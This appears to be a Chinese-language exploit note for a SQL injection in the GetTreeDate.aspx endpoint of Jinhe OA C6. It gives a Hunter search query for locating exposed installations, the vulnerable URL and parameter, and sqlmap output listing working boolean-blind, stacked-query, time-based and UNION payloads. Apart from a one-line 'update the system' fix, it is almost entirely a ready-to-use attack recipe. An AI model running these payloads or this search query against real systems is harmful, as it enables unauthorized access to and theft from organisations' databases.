J1-6金和-OA-SQL

漏洞描述：

金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断的更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。金和OA GetTreeDate存在SQL注入漏洞。

影响版本：

- 金和 OA

网站图片：

网络测绘：

Hunter 语法：

- hunterapp.name="金和 OA"

漏洞复现：

payload：

```
http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1
```

效果图:

```
mysql')
[03:11:38] [INFO] target URL appears to be UNION injectable with 3 columns
[03:11:39] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 78 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3014=3014

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: id=1;WAITFOR DELAY '0:0:5'--

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: id=1 WAITFOR DELAY '0:0:5'--

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(119)+CHAR(70)+CHAR(80)+CHAR(110)+
CHAR(113)+CHAR(83)+CHAR(108)+CHAR(88)+CHAR(105)+CHAR(76)+CHAR(100)+CHAR(77)+CHAR(77)+CHAR(90)+CHAR(78)+CHAR(90)+CHAR(112)+C
HAR(86)+CHAR(103)+CHAR(109)+CHAR(80)+CHAR(73)+CHAR(81)+CHAR(103)+CHAR(118)+CHAR(98)+CHAR(114)+CHAR(103)+CHAR(117)+CHAR(65)+
CHAR(68)+CHAR(110)+CHAR(88)+CHAR(72)+CHAR(87)+CHAR(74)+CHAR(109)+CHAR(114)+CHAR(87)+CHAR(70)+CHAR(113)+CHAR(106)+CHAR(98)+C
HAR(122)+CHAR(113),NULL,NULL-- IPSW
---
```

修复建议：

更新到最新系统